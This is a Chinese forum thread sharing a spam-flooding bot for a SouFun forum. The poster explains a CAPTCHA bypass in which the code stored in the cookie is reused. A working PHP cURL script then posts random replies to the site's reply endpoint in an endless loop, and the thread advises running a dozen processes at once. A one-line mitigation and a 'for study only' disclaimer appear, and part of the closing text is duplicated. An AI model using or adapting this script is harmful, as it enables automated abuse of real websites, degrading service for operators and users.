求助: 请各位请教一个灌水机的程序
现有灌水机的思路和部份代码:模拟发包程序
呵呵 完全代码不可以完全发布给你
我在写一部分代码吧 也给其他的懂点的人看看
先说突破验证码的原理吧 发现没有 当出现幸运币的时候 你只要刷新那输入页面 你会发现验证码是没有变的 可见验证码被存储到了COOKIE里了 当然了COOKIS里的数据有部分都是加密的了 当然了我们没有必要去尝试破解 只要每次都用同一个验证码去提交就好了
更深入或者是更简单的做法是
代码部分采用程序PHP
[CODE]
<?PHP
set_time_limit(0); //程序运行时间解禁
$j = 0; //计数初始化
//for ($i = 1; $i <= 1; $i++) { //控制发贴数量
while(1){ //去掉本行注释前先把上行注释掉 这样就是连续发帖直到程序被关闭 谨慎使用 呵呵
$j++;
$luckcode="6V"; ///////////////////////最关键的地方 一般人我不告诉的 呵呵 自己去琢磨吧 琢磨透了 就可以连续发贴了
mt_srand((double)microtime()*1000000);//加入时间的因素,以执行时的百万分之一秒当乱数种子
$random=mt_rand(1,1000);//产生1-1000间的随机数
$subject=md5(date(''''''''H:i:s'''''''').$random); //见函数说明
$body=md5(date(''''''''H:i:s'''''''').$random); //见函数说明
$sign=1210221942; //见函数说明
$announceid=52367862; //见函数说明
$bid=-2; //见函数说明
$masterid=52367862; //见函数说明
$tid=3982; //见函数说明
$cookiefile="cookie.txt"; //见函数说明
//$cookiefile1="cookie1.txt";
soufun_gsj_ht($luckcode,$subject,$body,$sign,$announceid,$bid,$masterid,$tid,$cookiefile); //调用函数
function soufun_gsj_ht($luckcode,$subject,$body,$sign,$announceid,$bid,$masterid,$tid,$cookiefile){
$host="[url=http://shbbs.]http://shbbs.[/url]";
$url=$host."/soufun_forum/post/save_reply.aspx/sign=$sign";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_NOBODY, false);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/99.99 (compatible; MSIE 99.99; Windows XP 99.99)");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($curl, CURLOPT_POSTFIELDS, "luckcode=$luckcode&guestname= &subject=$subject&color=#000000&font=宋体&size=3& select=#6495ED&body=$body&imgurl2=http://&UserImg=&rdb_rb=002&sign=$sign&announceid=$announceid&topic=&bid=$bid&masterid=$masterid&tid=$tid&listid=&listtype=1&pagesize=20&count=1&tpage=1");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$result=curl_exec($curl);
curl_close($curl);
echo $result;
}
?>
[CODE]
发贴的速度根据你的带宽和服务器的响应速度了
还有其他简单的办法 不过这个也比较简单
最简单的就是模拟发包了 不过原理都一样
此部分只供大家学习参考使用 不可对如何网站进行攻击 违背了本人的初衷
另外 防止灌水只要在验证码上改动就行了 不要存储到COOKIE了 那就安全了 呵呵 当然了 那时候是更高层次的识别了
此类话题结贴 本站管理员不要删除 SOUFUN管理员例外 [CODE] 发贴的速度根据你的带宽和服务器的响应速度了还有其他简单的办法 不过这个也比较简单最简单的就是模拟发包了 不过原理都一样此部分只供大家学习参考使用 不可对如何网站进行攻击 违背了本人的初衷另外 防止灌水只要在验证码上改动就行了 不要存储到COOKIE了 那就安全了 呵呵 当然了 那时候是更高层次的识别了此类话题结贴 本站管理员不要删除 SOUFUN管理员例外' />
哈哈 其实刚才给你的代码 恐怕就是COOKIE.TXT你不明白吧 那是Netscape格式的COOKIE的保存格式 你放到和当前程序同一目录就可以了
还有程序不要用IE去执行 呵呵 因为有输出 占内存 可以直接用命令行执行 呵呵
那样可以在一台机器上同时开10多个进程了